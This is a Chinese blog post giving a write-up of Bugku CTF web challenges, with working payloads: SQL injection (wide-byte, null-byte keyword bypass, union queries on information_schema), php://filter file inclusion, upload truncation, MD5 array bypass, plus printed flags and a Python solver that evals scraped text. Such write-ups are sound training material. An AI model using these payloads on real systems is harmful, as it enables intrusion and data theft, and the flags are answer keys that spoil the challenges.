Bugku-Web

作者: 皮一下怎么了 | 来源:发表于2018-09-15 01:22 被阅读0次

    Web2

    最直接的办法:F12打开控制台,ctrl+f搜索flag关键字得到flag:KEY{Web-2-bugKssNNikls9100}
    第二种是禁用当前页面的JS,然后查看源码看到flag
    第三种直接在url前面加上view-source:,即直接访问view-source:http://120.24.86.145:8002/web2/也可以查看源码

    文件上传测试

    设置好浏览器代理用burpsuite劫持数据包

    选择好文件上传

    尝试%00截断

    拿到flag:Flag:42e97d465f962c53df9549377b513c7e

    计算题

    查看源码可知对输入长度做了限制。我们进行修改

    成功拿到flag:flag{CTF-bugku-0032}

    web基础$_GET

    打开看到如下页面,已经告诉我们源码

    因此直接构造payload
    120.24.86.145:8002/get/?what=flag

    拿到flag:flag{bugku_get_su8kej2en}

    web基础$_POST

    打开看到源码

    这次是需要POST提交,因此用hackbar模拟

    拿到flag:flag{bugku_get_ssseint67se}

    矛盾

    num=_GET['num'];
    if(!is_numeric(num)) { echonum;
    if(num==1) echo 'flag{**********}'; } 提交合法的num就能拿到flag,URL访问:http://120.24.86.145:8002/get/index1.php?num=1'
    flag:flag{bugku-789-ps-ssdf}

    Web3

    打开后发现一直弹窗,我们禁止弹窗然后查看源码

    用js写的代码一直弹窗,底部有一串unicode字符应该是flag

    解码后得到flag:KEY{J2sa42ahJK-HS11III}

    sql注入

    右键查看源码

    发现是gb2312编码,题目是sql注入,猜测是宽字节注入
    爆数据库payload:http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()--+

    最终payload:http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string from sql5.key--+

    flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}

    域名解析

    提示很清楚,将flag.bugku.com解析到120.24.86.145即可拿到flag
    因此我们修改hosts文件将flag.bugku.com解析到120.24.86.145,添加如下规则

    再次访问flag.bugku.com

    拿到flag:KEY{DSAHDSJ82HDS2211}

    SQL注入1

    使用%00绕过关键字
    爆出数据库为sql3:
    http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%20fr%00om%20sql3.key%23
    最终payload:http://103.238.227.13:10087/?id=-1 uni%00on sel%00ect 1,hash fr%00om sql3.key%23
    flag:KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

    你必须让他停下

    BurpSuite抓包直接Repeater几次

    flag:flag{dummy_game_1s_s0_popular}

    本地包含

    http://120.24.86.145:8003/?hello=file(%22flag.php%22)

    flag:flag{bug-ctf-gg-99}

    变量1

    利用超全局数组GLOBALS可以打印出所有变量
    http://120.24.86.145:8004/index1.php?args=GLOBALS

    flag:flag{92853051ab894a64f7865cf3c2128b34}

    Web5

    查看源代码

    隐藏了一段字符,查资料得知是JS代码经过jsfuck编码的格式,我们复制到控制台执行

    可以看到ctf{whatfk},提示字母大写,flag:CTF{WHATFK}

    Web4

    根据提示查看源代码

    可以看到这是一段JS的代码,定义了两个变量,并且经过了url编码,我们用burpsuite解码得到一段代码

    可以看到密码为67d709b2baa648cf6e87a7114f1,提交一下发现不对,应该是少了一部分,仔细再看看源码发现要在变量p2前面加上%35%34%61%61%32再进行解码

    这才是正确的密码

    提交得到flag:KEY{J22JK-HS11}

    flag在index里

    看到file参数想到文件包含漏洞
    payload:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    返回的就是index.php的源代码的base64编码,解码得到flag

    flag:flag{edulcni_elif_lacol_si_siht}

    备份是个好习惯

    看到备份,首先想到源码泄露,访问一下http://120.24.86.145:8002/web16/index.php.bak,发现可以下载到源码

    MD5比较绕过,只不过加了一点过滤。访问:http://120.24.86.145:8002/web16/?kkeyey1[]=a&kkeyey2[]=b
    flag:Bugku{OH_YOU_FIND_MY_MOMY}

    成绩单

    打开看到一个表单,首先想到SQL注入
    爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1
    爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#
    爆flag:-1' union select 1,skctf_flag,3,4 from fl4g#
    flag:BUGKU{Sql_INJECT0N_4813drd8hz4}

    秋名山老司机

    直接用脚本计算出来然后POST提交

    import re
    import requests
    
    s = requests.Session()
    r = s.get("http://120.24.86.145:8002/qiumingshan/")
    searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
    d = {
    "value": eval(searchObj.group(1))
    }
    r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
    print(r.text)
    

    flag:Bugku{YOU_DID_IT_BY_SECOND}

    相关文章

      网友评论

          本文标题:Bugku-Web

          本文链接:https://www.haomeiwen.com/subject/xrqzgftx.html